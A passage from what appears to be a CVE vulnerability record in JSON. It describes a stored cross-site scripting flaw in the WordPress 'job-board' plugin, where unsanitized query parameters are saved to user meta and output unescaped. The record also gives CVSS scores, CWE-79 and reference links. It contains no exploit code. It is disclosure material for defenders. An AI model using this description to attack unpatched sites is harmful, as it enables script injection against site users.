This is due to the plugin storing the entire unsanitized `$_GET` superglobal array directly into the database via `update_user_meta()` when users save search results, and later outputting this data without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute whenever a user accesses the saved search or views their profile, granted they can trick the user into performing the search and saving the results."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/job-board/tags/1.2.1/job-board.php#L1680", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/job-board/tags/1.2.1/job-board.php#L2354", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/job-board/tags/1.2.1/job-board.php#L2355", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3403205/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1eb1622f-19fb-472e-871b-9a456f80f390?source=cve", "source": "[email protected]"}]}}
